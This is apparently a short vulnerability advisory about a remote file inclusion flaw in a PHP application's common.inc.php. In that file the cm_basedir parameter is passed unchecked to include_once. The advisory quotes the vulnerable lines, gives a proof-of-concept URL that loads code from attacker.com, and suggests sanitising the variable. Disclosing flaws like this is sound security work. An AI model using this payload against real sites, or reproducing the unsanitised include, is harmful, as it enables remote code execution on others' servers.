Vulnerability:  
~~~~~~~~~~~~~~  
  
I found vulnerability at script common.inc.php  
  
-----------------------common.inc.php----------------------  
....  
<?php  
include_once($cm_basedir."/ez_sql.php");  
include_once($cm_basedir."/pg2ezsql.php");  
// include_once($cm_basedir."/functions.php");  
$ver = "3.1.1228";  
  
...  
----------------------------------------------------------  
  
Input passed to the "cm_basedir" parameter in common.inc.php is not  
properly verified before being used. This can be exploited to execute  
arbitrary PHP code by including files from local or external  
resources.  
  
Proof Of Concept:  
~~~~~~~~~~~~~~~  
  
http://target.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker.com/inject.txt?  
  
  
Solution:  
~~~~~~~  
- Sanitize variable $cm_basedir on common.inc.php.
